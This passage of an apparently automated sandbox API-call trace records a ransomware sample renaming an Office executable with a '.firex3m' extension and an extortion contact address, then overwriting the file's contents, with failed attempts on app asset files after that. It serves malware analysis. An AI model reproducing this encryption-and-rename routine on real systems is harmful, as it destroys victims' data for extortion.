pbstr=0x333ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSOXMLED.EXE") returned 1 [0265.598] GetProcessHeap () returned 0x630000 [0265.598] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bd8) returned 0x6fe3bb0 [0265.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSOXMLED.EXE" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msoxmled.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0265.600] CloseHandle (hObject=0x710) returned 1 [0265.600] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0265.600] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSOXMLED.EXE" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msoxmled.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSOXMLED.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msoxmled.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0265.611] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.611] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSOXMLED.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0efd867, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26b89f63, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26b89f63, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x36648, dwReserved0=0x740063, dwReserved1=0x73002d, cFileName="MSOXMLED.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOXML~1.FIR")) returned 0x6d51c0 [0265.612] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0265.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSOXMLED.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msoxmled.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0265.612] GetProcessHeap () returned 0x630000 [0265.612] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ec0048 [0265.612] GetProcessHeap () returned 0x630000 [0265.612] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x706cf78 [0265.613] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.613] ReadFile (in: hFile=0x4f0, lpBuffer=0x6ec0048, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec0048*, lpNumberOfBytesRead=0x333ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0271.835] GetProcessHeap () returned 0x630000 [0271.835] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0271.836] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.836] WriteFile (in: hFile=0x4f0, lpBuffer=0x706cf78*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x706cf78*, lpNumberOfBytesWritten=0x333ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0271.837] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.837] WriteFile (in: hFile=0x4f0, lpBuffer=0x7078377*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7078377*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0271.888] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.888] WriteFile (in: hFile=0x4f0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0271.888] CloseHandle (hObject=0x4f0) returned 1 [0271.889] GetProcessHeap () returned 0x630000 [0271.889] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706cf78 | out: hHeap=0x630000) returned 1 [0271.889] GetProcessHeap () returned 0x630000 [0271.889] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec0048 | out: hHeap=0x630000) returned 1 [0271.889] GetProcessHeap () returned 0x630000 [0271.889] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0271.889] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0271.889] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSOXMLED.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0efd867, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26b89f63, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6802a06b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3666c, dwReserved0=0xc1c7496, dwReserved1=0x6ec0040, cFileName="MSOXMLED.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOXML~1.FIR")) returned 0x6d5040 [0271.890] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0271.890] Sleep (dwMilliseconds=0x1) [0271.904] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-100_contrast-white.png", len=0x83 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-100_contrast-white.png") returned 1 [0271.904] GetProcessHeap () returned 0x630000 [0271.904] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e80) returned 0x6fe3bb0 [0271.904] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedwidetile.scale-100_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.906] Sleep (dwMilliseconds=0x1) [0271.919] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-100_contrast-black.png", len=0x83 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-100_contrast-black.png") returned 1 [0271.919] GetProcessHeap () returned 0x630000 [0271.919] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e7c) returned 0x6fe3bb0 [0271.919] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedwidetile.scale-100_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.921] Sleep (dwMilliseconds=0x1) [0271.934] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-100.png", len=0x74 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-100.png") returned 1 [0271.934] GetProcessHeap () returned 0x630000 [0271.934] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e78) returned 0x6fe3bb0 [0271.935] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedwidetile.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.936] Sleep (dwMilliseconds=0x1) [0271.950] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedStoreLogo.scale-100_contrast-white.png", len=0x84 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedStoreLogo.scale-100_contrast-white.png") returned 1 [0271.950] GetProcessHeap () returned 0x630000 [0271.950] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e74) returned 0x6fe3bb0 [0271.950] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedStoreLogo.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedstorelogo.scale-100_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.952] Sleep (dwMilliseconds=0x1) [0271.966] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedStoreLogo.scale-100_contrast-black.png", len=0x84 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedStoreLogo.scale-100_contrast-black.png") returned 1 [0271.966] GetProcessHeap () returned 0x630000 [0271.966] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e70) returned 0x6fe3bb0 [0271.966] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedStoreLogo.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedstorelogo.scale-100_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.968] Sleep (dwMilliseconds=0x1) [0271.981] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedStoreLogo.scale-100.png", len=0x75 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedStoreLogo.scale-100.png") returned 1 [0271.981] GetProcessHeap () returned 0x630000 [0271.981] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e6c) returned 0x6fe3bb0 [0271.981] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedStoreLogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedstorelogo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.983] Sleep (dwMilliseconds=0x1) [0271.997] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-100_contrast-white.png", len=0x81 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-100_contrast-white.png") returned 1 [0271.997] GetProcessHeap () returned 0x630000 [0271.997] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e68) returned 0x6fe3bb0 [0271.997] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedsplash.scale-100_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.999] Sleep (dwMilliseconds=0x1) [0272.013] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-100_contrast-black.png", len=0x81 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-100_contrast-black.png") returned 1 [0272.013] GetProcessHeap () returned 0x630000 [0272.013] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e64) returned 0x6fe3bb0 [0272.013] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedsplash.scale-100_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.014] Sleep (dwMilliseconds=0x1) [0272.028] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-100.png", len=0x72 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-100.png") returned 1 [0272.028] GetProcessHeap () returned 0x630000 [0272.028] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e60) returned 0x6fe3bb0 [0272.028] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedSplash.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedsplash.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.030] Sleep (dwMilliseconds=0x1) [0272.044] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-100_contrast-white.png", len=0x84 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-100_contrast-white.png") returned 1 [0272.044] GetProcessHeap () returned 0x630000 [0272.044] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e5c) returned 0x6fe3bb0 [0272.044] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedsmalltile.scale-100_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.046] Sleep (dwMilliseconds=0x1) [0272.059] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-100_contrast-black.png", len=0x84 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-100_contrast-black.png") returned 1 [0272.059] GetProcessHeap () returned 0x630000 [0272.059] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e58) returned 0x6fe3bb0 [0272.060] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedsmalltile.scale-100_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.062] Sleep (dwMilliseconds=0x1) [0272.076] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-100.png", len=0x75 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-100.png") returned 1 [0272.076] GetProcessHeap () returned 0x630000 [0272.076] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e54) returned 0x6fe3bb0 [0272.076] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedSmallTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedsmalltile.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.078] Sleep (dwMilliseconds=0x1) [0273.779] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-36_contrast-white.png", len=0x86 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-36_contrast-white.png") returned 1 [0273.779] GetProcessHeap () returned 0x630000 [0273.779] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d90) returned 0x6fe3bb0 [0273.779] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-36_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-36_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.782] Sleep (dwMilliseconds=0x1) [0273.786] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-36_contrast-black.png", len=0x86 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-36_contrast-black.png") returned 1 [0273.786] GetProcessHeap () returned 0x630000 [0273.786] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d8c) returned 0x6fe3bb0 [0273.786] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-36_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-36_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.789] Sleep (dwMilliseconds=0x1) [0273.802] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-36_altform-unplated_contrast-black.png", len=0x97 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-36_altform-unplated_contrast-black.png") returned 1 [0273.802] GetProcessHeap () returned 0x630000 [0273.802] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d84) returned 0x6fe3bb0 [0273.802] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-36_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-36_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.804] Sleep (dwMilliseconds=0x1) [0273.819] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-32_contrast-white.png", len=0x86 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-32_contrast-white.png") returned 1 [0273.819] GetProcessHeap () returned 0x630000 [0273.819] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d78) returned 0x6fe3bb0 [0273.819] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-32_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-32_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.821] Sleep (dwMilliseconds=0x1) [0273.833] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-32_contrast-black.png", len=0x86 | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-32_contrast-black.png") returned 1 [0273.834] GetProcessHeap () returned 0x630000 [0273.834] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d74) returned 0x6fe3bb0 [0273.834] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-32_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-32_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.836] Sleep (dwMilliseconds=0x1) [0273.849] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-32_altform-unplated_contrast-black.png", len=0x97 | out: pbstr=0x333ff7c*="C:\\Program 